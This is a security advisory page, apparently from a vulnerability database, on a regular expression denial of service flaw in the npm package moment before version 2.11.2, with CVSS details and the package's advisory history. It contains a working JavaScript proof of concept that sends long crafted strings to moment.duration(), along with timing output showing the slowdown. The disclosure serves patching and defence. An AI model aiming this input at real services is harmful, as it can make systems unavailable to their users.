Medium

Regular Expression Denial of Service in moment

Disclosed: 24.10.2017
Updated: 11.10.2026 10:22

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

bash

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]

Recommendation

Please update to version 2.11.2 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	moment	< 2.11.2	2.11.2

References

CVSS score 6.5/10

CVSS vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-400
Platform: npm
Package: moment
Disclosed: 24.10.2017
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-87vv-r9j6-g5qv - CC BY 4.0

Vulnerability history: moment

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 5
First → latest: 10.2017 09.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 3
Medium 2

Disclosures per year

2017: 1
2018: 1
2019: 0
2020: 0
2021: 0
2022: 2
2023: 0
2024: 0
2025: 0
2026: 1

29.09.2026

moment vulnerable to Path Traversal via crafted non-string locale name

Medium · 5.9 CVE-2026-17495 >= 2.29.2, < 2.31.0 2.31.0
06.07.2022

Moment.js vulnerable to Inefficient Regular Expression Complexity

High · 7.5 CVE-2022-31129 >= 2.18.0, < 2.29.4 2.29.4
04.04.2022

Path Traversal: 'dir/../../filename' in moment.locale

High · 7.5 CVE-2022-24785 < 2.29.2 2.29.2
05.03.2018

Regular Expression Denial of Service in moment

High · 7.5 CVE-2017-18214 < 2.19.3 2.19.3
24.10.2017

Regular Expression Denial of Service in moment this entry

Medium · 6.5 CVE-2016-4055 < 2.11.2 2.11.2

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application